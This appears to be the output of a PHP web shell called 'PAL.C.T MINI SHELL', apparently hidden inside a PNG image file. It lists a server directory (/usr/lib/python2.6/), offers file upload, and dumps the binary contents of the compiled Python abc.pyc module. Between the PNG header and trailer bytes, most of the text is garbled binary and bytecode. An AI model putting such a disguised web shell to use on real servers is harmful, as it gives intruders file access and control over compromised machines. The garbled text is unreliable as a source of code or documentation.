php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/abc.pyc

Lc@sadZdd	dYZeeZdZdefdYZdefdYZdS(
s3Abstract Base Classes (ABCs) according to PEP 3119.t_CcBseZRS((t__name__t
__module__(((s/usr/lib/python2.6/abc.pyRscCs
t|_|S(sA decorator indicating abstract methods.

    Requires that the metaclass is ABCMeta or derived from it.  A
    class that has a metaclass derived from ABCMeta cannot be
    instantiated unless all of its abstract methods are overridden.
    The abstract methods can be called using any of the normal
    'super' call mechanisms.

    Usage:

        class C:
            __metaclass__ = ABCMeta
            @abstractmethod
            def my_abstract_method(self, ...):
                ...
    (tTruet__isabstractmethod__(tfuncobj((s/usr/lib/python2.6/abc.pytabstractmethods	tabstractpropertycBseZdZeZRS(s/A decorator indicating abstract properties.

    Requires that the metaclass is ABCMeta or derived from it.  A
    class that has a metaclass derived from ABCMeta cannot be
    instantiated unless all of its abstract properties are overridden.
    The abstract properties can be called using any of the normal
    'super' call mechanisms.

    Usage:

        class C:
            __metaclass__ = ABCMeta
            @abstractproperty
            def my_abstract_property(self):
                ...

    This defines a read-only property; you can also define a read-write
    abstract property using the 'long' form of property declaration:

        class C:
            __metaclass__ = ABCMeta
            def getx(self): ...
            def setx(self, value): ...
            x = abstractproperty(getx, setx)
    (RRt__doc__RR(((s/usr/lib/python2.6/abc.pyR!stABCMetacBsDeZdZdZdZdZddZdZdZ	RS(siMetaclass for defining Abstract Base Classes (ABCs).

    Use this metaclass to create an ABC.  An ABC can be subclassed
    directly, and then acts as a mix-in class.  You can also register
    unrelated concrete classes (even built-in classes) and unrelated
    ABCs as 'virtual subclasses' -- these and their descendants will
    be considered subclasses of the registering ABC by the built-in
    issubclass() function, but the registering ABC won't show up in
    their MRO (Method Resolution Order) nor will method
    implementations defined by the registering ABC be callable (not
    even via super()).

    icCstt|i||||}td|iD}xd|D]\}xSt|dtD]<}t||d}t|dto|i|q`q`WqDWt	||_
t|_t|_t|_
ti|_|S(Ncss6x/|](\}}t|dto	|VqqWdS(RN(tgetattrtFalse(t.0tnametvalue((s/usr/lib/python2.6/abc.pys	<genexpr>Vs		t__abstractmethods__R(tsuperR	t__new__tsettitemsR
tNoneRtaddt	frozensetRt
_abc_registryt
_abc_cachet_abc_negative_cachet_abc_invalidation_countert_abc_negative_cache_version(tmclsR
tbasest	namespacetclst	abstractstbaseR((s/usr/lib/python2.6/abc.pyRSs !	cCsxt|tptdnt||odSt||otdn|ii|tid7_dS(s&Register a virtual subclass of an ABC.sCan only register classesNs'Refusing to create an inheritance cyclei(	t
isinstancettypet	TypeErrort
issubclasstRuntimeErrorRRR	R(Rtsubclass((s/usr/lib/python2.6/abc.pytregisterfscCs|d|i|ifIJ|dtiIJxTt|iiD]=}|ido't||}|d||fIJqAqAWdS(s'Debug helper to print the ABC registry.sClass: %s.%ssInv.counter: %st_abc_s%s: %rN(	RRR	Rtsortedt__dict__tkeyst
startswithR
(RtfileR
R((s/usr/lib/python2.6/abc.pyt_dump_registrytscCst|dd}||ijotSt|}|tjo
|}n||jp
|djo6|itijo||i	jot
S|i|S|i|p
|i|S(s'Override for isinstance(instance, cls).t	__class__N(R
RRRR#t
_InstanceTypeRR	RRRt__subclasscheck__(RtinstanceR'tsubtype((s/usr/lib/python2.6/abc.pyt__instancecheck__}s


cCss||ijotS|itijot|_ti|_n||ijotS|i|}|t	j	oGt
|tpt|o|ii
|n|ii
||S|t|ddjo|ii
|tSx6|iD]+}t||o|ii
|tSqWx9|iD]+}t||o|ii
|tSq0W|ii
|tS(s'Override for issubclass(subclass, cls).t__mro__((RRRR	RRRRt__subclasshook__tNotImplementedR"tbooltAssertionErrorRR
RR%t__subclasses__(RR'toktrclstscls((s/usr/lib/python2.6/abc.pyR2s:

	
	N(
RRRRRR(RR/R5R2(((s/usr/lib/python2.6/abc.pyR	>s				N((RRR#R1RtpropertyRR	(((s/usr/lib/python2.6/abc.pyt<module>s
	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`